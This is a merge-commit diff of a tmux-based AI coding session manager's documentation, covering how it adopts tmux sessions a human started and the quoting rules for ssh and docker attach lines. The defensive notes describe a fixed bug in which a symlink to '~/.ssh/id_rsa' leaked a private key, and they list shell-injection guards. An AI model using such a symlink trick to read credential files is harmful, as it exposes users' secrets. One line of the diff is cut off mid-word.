Merge #510 feat(adopt): adopt tmux sessions a human started, in all three locations

The attach line now takes the rule #770 gave remote and docker launches: bashCArg() single-quotes it at both respawn-pane sites, so it reaches bash verbatim. quoteAdoptLaunch is retired, since its double quotes kept the same $ and backtick safety but lost a real newline. #510's no-cd condition stays.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>

CLAUDE.md

@@ -127,7 +127,7 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
 
 **Input**: `session.writeViaMux()` for programmatic/curl input via one tmux bracketed paste (`paste-buffer -p`) + `send-keys Enter`; a multi-line prompt keeps its line breaks inside that paste. A single character is typed with `send-keys -l` instead, because selection dialogs ignore a pasted digit. Interactive **browser** input goes through a durable **exactly-once** layer: a stable `clientId` + monotonic per-session `seq` persisted to localStorage until the server ACKs, so a dropped link cannot lose or double-deliver a prompt. `ws-connection-registry.ts` supersedes only same-TAB reconnects, so two tabs on one session coexist. → [architecture-invariants#input-delivery-and-ws-resilience](docs/architecture-invariants.md#input-delivery-and-ws-resilience)
 
-**Agent wait primitives**: bounded long-polls: `GET /api/sessions/:id/wait`, `GET .../wait-output` (literal substring, **never** regex) and `wait`/`waitTimeout` on `POST .../input`. Registry `session-wait-registry.ts` (pure), bounds `config/agent-wait.ts`. ⚠️ A timeout is a 200 (`wait.timedOut`). ⚠️ `stop` exists for `claude` and `deepseek` ONLY (rule lives in `hooksAvailableForMode()`), `blocked` also for a CLI declaring `capabilities.workDetect.blockedLine` (codex, read off the screen; `blockedSignalAvailable()`): explicit request elsewhere is a 400. ⚠️ Send-and-wait registers the waiter BEFORE the write; teardown must `notifySignal('exit')` BEFORE `cancelAll()`; hangup abort listens on `reply.raw` (guarded by `writableFinished`), never `req.raw`; liveness comes from `isPaneDead`, never `session.pid`. ⚠️ Signals are edge-triggered with no history: gather fan-outs via send-and-wait or `wait-output` markers. Packaged as the `skills/codeman` skill (`codeman skill install`, plugin marketplace, or injection behind `agentSkillEnabled`, SYNCED, default OFF, into the directory each CLI scans: `capabilities.agentSkillDir`, `.claude/skills` for claude, `.agents/skills` for the others, none for pi): injection is add-only, marker-owned (`applyAgentSkill`), refuses symlinks, and refreshes a marker-owned user-level copy (`refreshUserAgentSkill`). → [architecture-invariants#agent-wait-primitives](docs/architecture-invariants.md#agent-wait-primitives), `docs/api-reference.md`
+**Agent wait primitives**: bounded long-polls: `GET /api/sessions/:id/wait`, `GET .../wait-output` (literal substring, **never** regex) and `wait`/`waitTimeout` on `POST .../input`. Registry `session-wait-registry.ts` (pure), bounds `config/agent-wait.ts`. ⚠️ A timeout is a 200 (`wait.timedOut`). ⚠️ `stop` exists for `claude` and `deepseek` ONLY, and never for an adopted session (rule lives in `hooksAvailableForMode()`), `blocked` also for a CLI declaring `capabilities.workDetect.blockedLine` (codex, read off the screen; `blockedSignalAvailable()`): explicit request elsewhere is a 400. ⚠️ Send-and-wait registers the waiter BEFORE the write; teardown must `notifySignal('exit')` BEFORE `cancelAll()`; hangup abort listens on `reply.raw` (guarded by `writableFinished`), never `req.raw`; liveness comes from `isPaneDead`, never `session.pid`. ⚠️ Signals are edge-triggered with no history: gather fan-outs via send-and-wait or `wait-output` markers. Packaged as the `skills/codeman` skill (`codeman skill install`, plugin marketplace, or injection behind `agentSkillEnabled`, SYNCED, default OFF, into the directory each CLI scans: `capabilities.agentSkillDir`, `.claude/skills` for claude, `.agents/skills` for the others, none for pi): injection is add-only, marker-owned (`applyAgentSkill`), refuses symlinks, and refreshes a marker-owned user-level copy (`refreshUserAgentSkill`). → [architecture-invariants#agent-wait-primitives](docs/architecture-invariants.md#agent-wait-primitives), `docs/api-reference.md`
 
 **Agent CLI (`codeman agent …`, `src/cli-agent.ts`)**: the command-line client for the wait primitives and the session verbs, for agents the skill does not reach (pi, shell, no `jq`; `seedAgentSessionPreamble` covers every local session whose CLI takes the skill, `capabilities.agentSkillDir`; every pane still exports `CODEMAN_MUX`/`CODEMAN_SESSION_ID`/`CODEMAN_API_URL`). It is an HTTP CLIENT: inspection and guarded stage/submit use the ownership-checked `agent-session-routes.ts` module (experimental, behind `agentCoordinationEnabled`, SYNCED, default OFF: all three routes answer `403 FORBIDDEN` naming it while off, and the CLI shows that verbatim); the other verbs reuse existing routes, with no second transport (the plan's "Socket API" non-goal stands), every call carries `X-Codeman-Parent-Session`, only `spawn`'s quick-start carries `X-Codeman-Agent-Origin` (pinned in test/cli-agent.test.ts), while `spawn` without a case (cwd or `--working-dir`) is `POST /api/v1/sessions` plus `/interactive` or `/shell` without that header, so no agent-case marker, and refuses (exit 4, before any request) an empty `--working-dir` and a bare spawn from a HOME cwd, since it always sends an explicit `workingDir` and the server's no-`workingDir` hooks skip cannot apply (test/cli-agent-project-spawn.test.ts), auth (`src/codeman-credentials.ts`, shared with `codeman attach` and the TUI) from `CODEMAN_PASSWORD` or the data dir's `.env` (the same reader `codeman attach` uses — `readCodemanEnvFile`). Verbs return exit codes (`0` ok / `1` error / `2` timeout / `3` exited / `4` refused) instead of calling `process.exit`, so `test/cli-agent.test.ts` drives every verb against a recording fake transport plus the real `httpRequest` against a local server. ⚠️ Three guards live in code, not prose, and the tests pin them: refuse without `CODEMAN_MUX=1`+`CODEMAN_API_URL` (never guess a URL); `send` transmits printable text + `\r` only (`inputRefusal`: any byte < 0x20 or DEL refuses BEFORE the transport — opencode's `Ctrl+C` is `app_exit`), ESC exists solely as `interrupt` with no `\r`; `rm` fails closed (`deleteRefusal`: empty id, self shorter than 8, prefix match in EITHER direction, re-checked on the resolved id). ⚠️ The routes accept FULL ids only — an 8-char prefix is a 404 (measured live) — while `ls` prints prefixes, so `resolveSessionId` maps a short id through `GET /api/v1/sessions` and refuses an ambiguous one. It also refuses any id under 8 characters (exit 4, on every verb, before any request), the same floor as the server's `PARENT_SESSION_ID_MIN_PREFIX`, so `rm 9` can never pick an arbitrary session. ⚠️ A 400 for `--until stop` on a hook-less mode is passed through verbatim, never papered over: the marker path is the answer there. `spawn` on a readiness timeout exits 2 and LEAVES the session for inspection (the skill's `spawn_worker` deletes it; the CLI's caller is often a human); its stdout is the id ALONE (prose on stderr) so `SID=$(…)` works. ⚠️ Two server answers that look like success and are not: `delivered:false` without `duplicate` (the bytes went into a dead pane — the field exists so a client says "restart" instead of "wait longer") and `wait.ended:true, signal:null` (the worker died during a `stop`/`idle` wait: the registry satisfies only waiters that listed `exit`, then cancels the rest) — both exit 3, checked BEFORE the happy paths in `waitExitCode`. → README "`codeman agent`", `docs/api-reference.md`
 
@@ -175,6 +175,8 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
 
 **Docker cases**: a case can point at a **container** running any CLI mode inside it, a **LOCATION OVERLAY on cases, never a `SessionMode`**. One long-lived container **per case**, shared by its sessions: killing a session kills only its in-container tmux, **never** `docker stop` while siblings remain. The workspace is bind-mounted at the **same absolute path**. Credentials are **seeded**, never shared RW. **NEVER a create-time `-e` for secrets, NEVER `--privileged`, NEVER the docker socket.** A drifted config (label hash) REFUSES the launch. ⚠️ An **adopted** container (`DockerCase.owned === false`) is only `exec`ed into: never create, start, stop, restart, remove, `docker commit` or `docker pause` it; fail closed. Test `owned === false`, never truthiness. ⚠️ Apply `owned` AFTER `dockerConfigHash`. ⚠️ Run modes come from the CONTAINER (`availableModes`), and a failed probe is normal for an OWNED case. ⚠️ Root exec user drops the bypass flag via the registry's `overlays.docker.rootCommand`, never a branch. ⚠️ Adoption is admin-only in multi-user mode. ⚠️ Loopback prod needs `CODEMAN_DOCKER_BRIDGE_HOOKS=1` for in-container hooks. → [architecture-invariants#docker-cases](docs/architecture-invariants.md#docker-cases), `docs/docker-cases.md`
 
+**Adopted tmux sessions** (`src/foreign-tmux.ts` pure, `foreign-tmux-discovery.ts`, `foreign-sessions.js`, `POST /api/sessions/adopt`, admin-only in multi-user mode): a tmux session a human started (local, in a container, over ssh) opens as a tab through a wrapper session on OUR socket, a LOCATION OVERLAY like remote and Docker, never a `SessionMode`. ⚠️ `session.remote` and `session.docker` are undefined on one (the connection is on `adopt.*`) and its `workingDir` is the neutral `/tmp`, so anything that treats `workingDir` as the session's workspace, or branches on remote or docker to mean "not here", must also test `session.isAdopted`. ⚠️ `isAdopted` asks who launched the process, so it is never folded into `isExternalCliMode()`. ⚠️ `foreignTargetKey()` is the ONE identity of a target; a socket and a name collide across containers and hosts. ⚠️ Never set anything on the foreign server beyond our own `codeman-view-*`: no `window-size`, no key tables. ⚠️ The wrapper's pane IS the owner's pane, so nothing may be typed into it on start (`startShell()`'s `clear\n` submitted a half-typed command, and `shell` is also the answer for vim or psql). ⚠️ Session names are someone else's text: they pass the allowlist at discovery, so a browser only ever sends an opaque id, and a name `new-session -t` reads as target syntax (`TMUX_TARGET_SYNTAX`) is refused there too, or the `has-session` guard passes and the join lands elsewhere. ⚠️ A stopped tmux server holds our stdout pipe open past its client, so the probe pings each server with stdout at `/dev/null` first and `runForeignProbe()` lets go of the pipe at the deadline; never give `list-panes` the real stdout unpinged. ⚠️ The attach line reaches `bash -c` single-quoted through `bashCArg()` at both launch sites, like a remote or docker launch, never a bare `JSON.stringify()`, or the ssh attach's `$HOME` and `$PATH` expand on this host. → [architecture-invariants#adopted-foreign-tmux-sessions](docs/architecture-invariants.md#adopted-foreign-tmux-sessions), `docs/api-reference.md`
+
 **Docker Compose deployment** (`docker/`): Codeman runs in a container and spawns Docker cases as **SIBLING** containers via the host socket, never nested. `resolveDockerDaemonMountSource()` maps HOME bind sources into the daemon's namespace (`CODEMAN_DOCKER_HOST_HOME`); `CODEMAN_CASES_PATH` makes workspaces resolve to the same absolute path on both sides. ⚠️ `CODEMAN_CASES_PATH` must move every consumer: resolve it only via `config/cases-dir.ts`. ⚠️ `.dockerignore` matches whole paths: keep `**/.env` or `docker/.env` secrets ship in the image. ⚠️ Long-form binds create missing sources ROOT-OWNED: `Start-Codeman.sh` pre-creates them, and `docker/entrypoint.sh` (root, `cap_add: [CHOWN, DAC_OVERRIDE, KILL, SETGID, SETUID]` against `cap_drop: ALL`, `KILL` for tini; pinned by the test) fixes ownership then drops to `PUID:PGID` via `setpriv`, never re-owning foreign dirs. ⚠️ Append `/opt/codeman-cli` and `~/.local/bin` to `PATH`, never prepend. ⚠️ `server.Dockerfile`, the compose file and `.env.example` feed the self-updater's environment gate (`docs/docker-self-update.md`). → [architecture-invariants#docker-compose-deployment](docs/architecture-invariants.md#docker-compose-deployment), `docs/docker-compose.md`
 
 **CLI registry** (`src/config/cli-registry/`): every run mode is a `CliEntry` (discovery, launch argv template, env handling, `capabilities`, and the `overlays` behind remote/docker pane commands). **No code outside `stock.ts` may branch on a CLI id**: use a capability field or a NAMED PROFILE (`profiles.ts`); `test/cli-registry-no-id-branching.test.ts` and `test/frontend-cli-no-id-branching.test.ts` enforce it. ⚠️ Config holds typed argv tokens, never shell text; literals are validated at LOAD time and a bad one rejects the whole entry. ⚠️ Keep `external`, `hooks` and `altScreen` independent; never derive one from another. ⚠️ Config regexes (`discovery.version.regex`, `capabilities.workDetect.workingLine`, `capabilities.workDetect.watchingLine`, `capabilities.workDetect.awaitingLine`, `capabilities.workDetect.blockedLine`, `capabilities.workDetect.composerFooterLine`, `capabilities.workDetect.composerPopupLine`, `capabilities.modelDetect.screenLine`) must compile through `compileVersionRegex()`. ⚠️ `privilegedParams[].param` names a LAUNCH PARAM, not the legacy `<Mode>Config` field (bridged only by `launch.legacyConfigAliases`); a wrong name silently clamps nothing. ⚠️ Resolve the registry AT CALL TIME, never in a module-level const. ⚠️ Remote claude/omp arms of `buildRemoteLaunchCommand` are not covered by the pane-command golden. `~/.codeman/clis.json` overrides entries. It is WRITTEN only by the opt-in CLI management routes (`cliManagementEnabled`, default OFF; `/api/clis`, `cli-registry-routes.ts`), and only through `mutateRegistryFile()` in `registry-writer.ts` (the one exception: a config-backup restore of `clis.json`, which then calls `reloadCliRegistry()`), which serializes mutations and refuses (409) a file that does not parse or has group/world permission bits rather than overwriting it. Importing the registry still writes nothing. → [architecture-invariants#cli-registry](docs/architecture-invariants.md#cli-registry), `docs/cli-registry.md`
@@ -199,7 +201,7 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph
 
 **Owner tab layouts** (`tab-layout*.ts` + `GET`/`PUT /api/tab-layout`): named tab GROUPS over the flat strip, scoped per owner (`@single` when multi-user is off), persisted as `tabLayouts` in state.json. The frontend reads AND edits it (`tab-layout-browser.js` + the grouped-rail block in app.js): the vertical rail draws the owner's groups as collapsible sections (collapse is per-device localStorage), and with no groups or a failed read the rail is the flat list. Groups are created, renamed, reordered and deleted, and rows moved between them, from the row/group menus (Shift+F10 on a header too) and by pointer drag in the grouped rail. A ref may carry `focus: true` ("Add to Focus" in the row/web-tab menu, the named `setFocus` operation): the rail then draws a SHORTCUT to it in a pinned, collapsible Focus section (`_renderTabFocus()`), its own element in `#tabRail` ABOVE `#sessionTabs`, so it shows on the flat rail too and is never a row, tree item, Alt+N slot, lineage anchor or drag target. ⚠️ Every copy of a ref (`copyRef` in tab-layout-browser.js, `parseRef`/`mapRef` in tab-layout.ts) must carry `focus` like `placement`: the browser PUTs whole layouts, so a dropped field is erased on the next save by whoever saves. ⚠️ Grouping is a render layer only: `sessionOrder`, Alt+N and every other order consumer still read the server-projected session order (Alt+[ / Alt+] and Ctrl+Tab included), except the phone swipe, which walks the drawn order like the strip's arrow keys (`nextSession({ visual: true })` through `_stripSessionOrder()`), and a grouped row's markup is the flat row's markup. ⚠️ Only the GROUPED rail is an ARIA tree (`role=tree`, headers owning `role=group`s, one roving `tabindex=0`); the strip, sidebar and flat rail stay `tablist`/`tab`. ⚠️ Every browser write is a named operation through ONE serialized `PUT /api/tab-layout` at a time (`createEditCoordinator`): a 409 replays the operations onto the server's layout and retries (bounded), and an SSE reload is deferred while a write is in flight. Never PUT the layout from anywhere else in the frontend (the `pagehide` keepalive in `_persistPendingTabLayoutEdits` is the one deliberate exception). ⚠️ Placing a NEW session in a group rides its create request (`tabGroupId` on `POST /api/sessions` / `/api/quick-start`) into `TabLayoutService.sessionCreated()`, which registers the session inside the owner lock and places it in the same write; never place a created session with a follow-up PUT. A spawned child lands after its parent; whether it keeps FOLLOWING it until moved by hand is the synced `spawnedTabsFollowParent` setting (default OFF: pinned `manual` in the creating write), read fresh in `sessionCreated()`. A case's **default session group** (Case settings; `caseDefaultGroups` in state.json, per owner and case) is the fallback placement in that same write, below `tabGroupId` and the parent, from the create request's `caseName` (quick-start, Ralph start, or inferred lexically from a `POST /api/sessions` `workingDir`); it is read and written ONLY through `TabLayoutService`. ⚠️ A legacy order PUT marks a child `manual` ONLY when the requested order splits it from its parent's block (`applyLegacySessionRank`), and the browser never echoes create/delete through `PUT /api/session-order`: the server already re-projected and broadcast it. Web-tab OPENNESS stays per device. ⚠️ `TabLayoutService` is the single mutation boundary (one completed server action = at most one versioned write); never write layout state from a route or manager directly. ⚠️ The layout PROJECTS onto `PUT /api/session-order` via `tab-layout-legacy-order.ts`; change both sides together. ⚠️ Reconciliation is gated on a SUCCESSFUL restore (`markRestorationComplete`/`assertDeletionReady()`): a failed restore must leave the layout untouched or live tabs get pruned. → [architecture-invariants#owner-tab-layouts](docs/architecture-invariants.md#owner-tab-layouts)
 
-**Hook events**: Claude Code hooks trigger via `/api/hook-event` (`permission_prompt`, `elicitation_dialog`, `elicitation_complete`, `elicitation_response`, `idle_prompt`, `stop`, `teammate_idle`, `task_completed`, `prompt_submitted`); see `src/hooks-config.ts` and `docs/claude-code-hooks-reference.md`. ⚠️ Every claude session installs the hooks block into its workspace (add-only merge) from every create path and from `restoreMuxSessions()`, gated by `workspaceHooksEnabled` (SYNCED, default ON). ⚠️ Route that decision through `applyWorkspaceHooks`, never call `ensureCodemanHooks` at a new site, or the setting silently stops applying. ⚠️ An AskUserQuestion / plan-selection dialog arrives as `permission_prompt` (RED alert), not `elicitation_dialog` (MCP elicitation). → [architecture-invariants#hook-events-and-workspace-hook-installation](docs/architecture-invariants.md#hook-events-and-workspace-hook-installation)
+**Hook events**: Claude Code hooks trigger via `/api/hook-event` (`permission_prompt`, `elicitation_dialog`, `elicitation_complete`, `elicitation_response`, `idle_prompt`, `stop`, `teammate_idle`, `task_completed`, `prompt_submitted`); see `src/hooks-config.ts` and `docs/claude-code-hooks-reference.md`. ⚠️ Every claude session Codeman starts installs the hooks block into its workspace (add-only merge) from every create path and from `restoreMuxSessions()` (an adopted session installs none: it has no workspace of ours), gated by `workspaceHooksEnabled` (SYNCED, default ON). ⚠️ Route that decision through `applyWorkspaceHooks`, never call `ensureCodemanHooks` at a new site, or the setting silently stops applying. ⚠️ An AskUserQuestion / plan-selection dialog arrives as `permission_prompt` (RED alert), not `elicitation_dialog` (MCP elicitation). → [architecture-invariants#hook-events-and-workspace-hook-installation](docs/architecture-invariants.md#hook-events-and-workspace-hook-installation)
 
 **Reboot restore** (`src/reboot-restore.ts` pure + `web/reboot-restore-registry.ts` + `routes/reboot-restore-routes.ts` + `reboot-restore-ui.js`): after a host reboot kills every pane, Codeman holds an IN-MEMORY plan of the destroyed sessions and a banner offers to rebuild them. ⚠️ The heuristic only decides whether to ASK. ⚠️ Rebuild is TAKE-then-build (entries leave the plan before the first `await`, single-flighted per owner). ⚠️ Re-check grant, workspace and already-live at click time, reading already-live FRESH per entry; key confinement on the entry's OWNER, never the caller. ⚠️ Rebuilt sessions come back disarmed: no respawn/Ralph, `rearmAutoResumeSchedule: false`, and pass `nameSource` through. ⚠️ Undo a failed rebuild with `discardPartiallyBuiltSession()`, NEVER `cleanupSession()`. Claude-mode only, never remote/docker. Tests: `test/reboot-restore.test.ts`. → [architecture-invariants#reboot-restore](docs/architecture-invariants.md#reboot-restore)
 

docs/api-reference.md

@@ -1123,6 +1123,75 @@ the caller's case space, a linked case's exact path, or a Claude worktree of eit
 session, the create response carries `tabLayout` as it does for `tabGroupId`. Deleting the
 case forgets the value; existing sessions never move.
 
+## Adopting a foreign tmux session
+
+A tmux session someone started by hand (`tmux new -s work`) lives on its own socket,
+where Codeman does not look for its own sessions. These two routes list such sessions
+and open one as a tab. Admin-only in multi-user mode (403), since the list shows other
+people's processes and adopting a shell is arbitrary execution as the server account.
+
+`GET /api/v1/mux/foreign` lists candidates. Local sessions are always scanned, and
+cached for 5 s. `?docker=1` and `?remote=1` add the containers behind the saved Docker
+cases and the saved ssh hosts, one `docker exec` or ssh connection per target, so the
+browser sends them only on an explicit scan. `?force=1` skips the local cache.
+
+```json
+{
+  "sessions": [
+    {
+      "id": "fa9b76d36",
+      "location": "local",
+      "socketPath": "/tmp/tmux-1000/default",
+      "sessionName": "work",
+      "windows": 1,
+      "attached": false,
+      "createdAt": 1793931275000,
+      "mode": "claude",
+      "command": "claude",
+      "workingDir": "/home/me/project",
+      "adoptedBy": "961d0a82-6888-425d-a3ee-dab38ecbb598"
+    }
+  ],
+  "scannedAt": 1793931277916,
+  "notes": ["remote Build box: unreachable, or no tmux"],
+  "pollIntervalMs": 8000,
+  "canScanWide": true
+}
+```
+
+`hostId`, `hostLabel` and `containerName` appear on a docker or remote candidate.
+`adoptedBy` names the session already wrapping that target. `notes` says why a location
+gave nothing, each opening with where it came from (`local`, `docker <name>`,
+`remote <label>`). A session whose name or socket path holds characters Codeman will not
+pass to a shell, or whose name tmux reads as a target rather than a name (one starting
+with `=`, `@` or `%`, or a bare `~`), is skipped and counted in a note. A tmux server that
+does not answer within 2 seconds costs only its own rows and gets a note, and a scan cut
+short keeps the rows it read and says so in one. Sessions on a Codeman socket never appear.
+
+`POST /api/v1/sessions/adopt` wraps one, with `{ "id": "...", "docker": true, "remote":
+true }` (the two flags must match the listing the id came from; `name` and
+`parentSessionId` are optional). The body carries only that opaque id: the target is
+re-resolved by a fresh scan, so a candidate that is gone answers `404`, and one on a
+location unreachable this time answers `404` saying so.
+
+The answer is `{ "session": SessionState, "adopted": true }`, or
+`{ "session": SessionState, "alreadyAdopted": true }` when the target already has a
+wrapper. A second adopt of a target whose wrapper is still being created is
+`SESSION_BUSY`. The session has `adopt` set and `pid: null`: start it like any other,
+`POST .../shell` for `mode: "shell"` and `POST .../interactive` for the rest. `mode`
+comes from the pane's process tree.
+
+Closing the session detaches. The foreign session keeps running, and only Codeman's
+wrapper and its grouped `codeman-view-<id>` session go, so `DELETE` removes nothing that
+belongs to someone else. Codeman did not start this agent, so these refuse an adopted
+session: respawn, Ralph (its config and the `fix-plan/write`, `fix-plan/read` and
+`ralph-prompt/write` file routes), auto-clear, auto-compact, auto-resume, custom model
+endpoints, prompt uploads and the image watcher. `stop` waits are a 400, and so are
+`blocked` waits unless Codeman reads that CLI's dialogs off its screen (codex), the git
+routes answer `unsupported` with `reason: "adopted"`, and `last-response` answers empty,
+since Codeman knows no transcript for it. Its `paneExit` stays absent, because the pane
+holds a `tmux attach` and not the agent. Reboot restore does not rebuild one.
+
 ## Approvals Inbox
 
 Cross-session queue of prompts waiting on a human (permission dialogs,

docs/architecture-invariants.md

@@ -89,12 +89,28 @@ Further detail: ⚠️ **Auto-reconnect revives ONLY when the durable remote tmu
 
 **Remote SSH cases** (COD-94/#145): cases can point at a **remote host** (`~/.codeman/remote-hosts.json` + `remote-cases.json` via `src/remote-hosts.ts`; CRUD under `/api/cases`, cases route file). A remote session launches a LOCAL tmux pane running `ssh <host>` that creates a durable REMOTE tmux session on a **dedicated socket** `-L codeman-remote` with name `codeman-ssh-<id>`, deliberately failing the remote Codeman's `SAFE_MUX_NAME_PATTERN` so a Codeman instance on the target host never adopts it; no `-g` global tmux options are set remotely. `remotePath`/`identityFile` are schema-guarded against shell injection (backticks and `$` rejected; `extraSshOptions` refuses backticks and `$(` only, so a bare `$` passes there and reaches `ssh` as those literal characters); remote tmux availability is probed via `checkRemoteTmuxAvailable()` in quick-start (ssh args carry `-o ConnectTimeout=10`). Remote claude defaults to an idempotent `claude --session-id <id> || claude --resume <id>` pair under a login shell, so a respawn or reattach continues the SAME conversation rather than starting a fresh one (remote omp gets the same treatment via `--continue`; ⚠️ because the claude arm is an `a || b` pair under `-c`, that pane's PID is the login shell, not the agent); per-host `commands.*` override. Session kill best-effort kills the remote tmux too. `SessionState.remote`/`MuxSession.remote` round-trip through recovery (`restoreMuxSessions` passes `remote` back into the Session constructor). ⚠️ Run flows must route remote cases through `POST /api/quick-start` (which resolves the remote case and skips LOCAL CLI availability gates): `POST /api/sessions` stat-validates `workingDir` locally and has no `caseName`. `envOverrides`/`effort`/`modelOverride`/`codexConfig`/`geminiConfig` are rejected for remote quick-starts (not silently dropped). UI: Create Case modal → Remote tab. Tests: `test/remote-hosts.test.ts`, `test/remote-ssh-options.test.ts`. ⚠️ **Reading a file in a remote case goes over ssh too** (#415): `src/remote-files.ts` is the single remote-READ layer (`buildRemoteFileCommand` = `buildSshConnectionArgs` + one shellescaped remote command; `remoteProbePaths` returns remote realpath + stat; `remoteCreateReadStream` streams a `Range` via `tail -c +N | head -c L` and its `close()` must be wired to the response's `close` or the ssh child outlives an aborted download). The guard order matches the local path exactly (`validateSessionFilePathLexical` → remote realpath of BOTH file and workspace root → containment → sensitive-path → size cap on the REMOTE size), a request path arrives from the browser and is only ever interpolated as a `shellescape`d token, and an unreachable host answers **502**, never a 404. ⚠️ The probe's symlink resolution FAILS CLOSED: `readlink -f` where it exists, otherwise a `cd -P`/`pwd -P` directory walk plus a bounded plain-`readlink` loop over the last component, and anything it cannot fully resolve is reported unresolvable (404), never as the unresolved string: the first version resolved the directory chain only, so on a host without `readlink -f` a `ws/notes.txt -> ~/.ssh/id_rsa` link passed containment under its own path while `cat` served the key. Records are NUL-separated and index-keyed so a newline in a filename cannot shift the mapping. ⚠️ ssh children are BOUNDED: probes and buffered reads go through `src/remote-ssh-limiter.ts` (a `document-conversion-limiter`-shaped semaphore, default 4), the attachment-history list probes its whole history in ONE batched call (`probeRemoteAttachmentHistory`, threaded into `registerExternalAttachment({remoteProbes})`), and probes chunk at 40 paths: a prompt-injected agent printing `codeman://attach` links in a remote session used to fork one `ssh` per link. `describeExecError` never returns Node's `Command failed: <ssh line>` message (identity path + probe script in a 502 body). The `PUT /file-content` guard sits AHEAD of `validateSessionFilePath`, which resolves LOCALLY, or a same-named local directory (an sshfs mount) takes the write. Under `VITEST` the three IO functions refuse rather than connect. This covers the ATTACHMENT routes too, which is the half a clicked path needs when the file is OUTSIDE the case directory (`_isExternalPreviewPath` sends it to `POST …/attachments`): registration, by-id `raw`, metadata and the history list all resolve over ssh (`registerExternalAttachment({remote})`, `resolveServableRemoteAttachment`), and what decides the host is the SESSION, never the path string: the same absolute path means a different file on each host. Deliberately NOT supported over ssh: writes (`edit=1`/`PUT` answer 400, `editable` is always false), office previews/thumbnails, the file tree/picker, `tail-file`. The Ralph file routes follow the same rules (`ralph-routes.ts`): `POST .../fix-plan/read` reads `@fix_plan.md` on the remote host through `remote-files.ts` (one probe of the file and the workspace, confined wiLine truncated
 
-**Remote tmux PATH**: every SSH command that invokes or locates tmux uses `withRemoteTmuxPath()` (`remote-hosts.ts`) before the complete remote script is shell-escaped: link preflight, launch/attach, alive probes, discovery, history/screen capture, and cleanup. Non-interactive SSH shells can omit Homebrew and per-user binaries even when the user's interactive shell finds them. The wrapper double-quotes the exported PATH value (including inherited PATH) so homes with spaces work under dash; it leaves the existing SSH options, socket/target and inner CLI login-shell handling intact. tmux gives a new pane the PATH of the client that created it (measured on tmux 3.4), so every new remote pane, agent or shell, now starts on the widened PATH before its login shell runs. ⚠️ The bootstrap only works if it reaches the far end verbatim, so a remote launch goes to the local `bash -c` single-quoted (`bashCArg()` in tmux-manager.ts): in double quotes the local `sh` expanded `$HOME` and `$PATH` on this host first, and a remote user with another home found no tmux (#760, exit 127). ⚠️ Codeman's stock pane text is POSIX (`"${SHELL:-/bin/sh}"`), so it goes to `/bin/sh -c` as separate tmux arguments: tmux runs a ONE-argument command through the remote default-shell and exec's two or more directly (measured on 3.4), and fish refuses `${…}` with status 127. A `commands.*` override stays one argument, since it is the user's text for their own shell. `test/remote-pane-command-shell.test.ts` pins that split without needing fish. Keep new remote tmux operations on this same path. `test/remote-tmux-path.test.ts` exercises all builders under real sh/dash with a sparse PATH and a home containing spaces, using offline SSH/tmux stubs. Local and Docker tmux commands keep their own setup.
+**Remote tmux PATH**: every SSH command that invokes or locates tmux uses `withRemoteTmuxPath()` (`remote-hosts.ts`) before the complete remote script is shell-escaped: link preflight, launch/attach, alive probes, discovery, history/screen capture, and cleanup. Non-interactive SSH shells can omit Homebrew and per-user binaries even when the user's interactive shell finds them. The wrapper double-quotes the exported PATH value (including inherited PATH) so homes with spaces work under dash; it leaves the existing SSH options, socket/target and inner CLI login-shell handling intact. tmux gives a new pane the PATH of the client that created it (measured on tmux 3.4), so every new remote pane, agent or shell, now starts on the widened PATH before its login shell runs. ⚠️ The bootstrap only works if it reaches the far end verbatim, so a remote launch, and an adopted ssh attach with it, goes to the local `bash -c` single-quoted (`bashCArg()` in tmux-manager.ts): in double quotes the local `sh` expanded `$HOME` and `$PATH` on this host first, and a remote user with another home found no tmux (#760, exit 127). ⚠️ Codeman's stock pane text is POSIX (`"${SHELL:-/bin/sh}"`), so it goes to `/bin/sh -c` as separate tmux arguments: tmux runs a ONE-argument command through the remote default-shell and exec's two or more directly (measured on 3.4), and fish refuses `${…}` with status 127. A `commands.*` override stays one argument, since it is the user's text for their own shell. `test/remote-pane-command-shell.test.ts` pins that split without needing fish. Keep new remote tmux operations on this same path. `test/remote-tmux-path.test.ts` exercises all builders under real sh/dash with a sparse PATH and a home containing spaces, using offline SSH/tmux stubs. Local and Docker tmux commands keep their own setup.
 
 Further wake-on-LAN detail: the wiring guards in `test/remote-wake.test.ts` are two; the second also pins that `server.ts` holds the registry for its LIFETIME only (`drop` on cleanup, `stop` on shutdown) and never calls a waking method. The create wake is wired in the route rather than the shared session service for exactly the no-timer-wakes reason. No `ServerAliveInterval`, because keepalives move bytes into an idle connection every interval and that is what a byte-threshold idle detector must not read as activity. For a host behind `jumpHost`/`socksProxy`/a `ProxyCommand` option, the probe connects to `host:port`, which such a host does not answer even while ssh works; the registry never gates create/attach on it (`'unprobeable'`), and `/reachability` answers `reachable: null, probeable: false`. The banner keys on a PROVEN `false`, and the banner's 30 s poller runs only for a host with a wake target (a timer connecting to a host Codeman cannot wake is the same timer-driven traffic the keepalive rule forbids).
 
 Input arriving during a wake is buffered: a chunk over 4 KB is dropped whole, never delivered as a fragment, and the route answers `{buffered:true}` / `{buffered:true, dropped:true}` so the caller can tell. It is flushed in order after `reattachRemote()` with `fromUser`; a flush write that fails drops the rest (logged) rather than retaining it for a wake hours later. Send-and-wait blocks instead and answers `OPERATION_FAILED` when the host never returns. ⚠️ In multi-user mode the attach path 403s a non-admin BEFORE the host is looked up: the wake runs an executable, and remote hosts are admin-only infra everywhere else. ⚠️ Browser keystrokes travel over the WebSocket, which deliberately does NOT pass through the registry (that is the hot path), so only the HTTP input path ever queues anything; the banner must not promise queued input for the Wake button. A request that waits on the wake (create/attach, and the button) uses the 40 s `REMOTE_WAKE_REQUEST_READY_TIMEOUT_MS`, not the 90 s session default, because the dashboard's reverse proxy cuts a request at its own 60 s `proxy_read_timeout`. The `remote:` SSE family is session-scoped in multi-user mode; a create/attach wake names its requester (`username`) since it has no session yet. `remote-wake.ts` refuses real IO under `VITEST` like `remote-files.ts`.
 
+### Adopted foreign tmux sessions
+
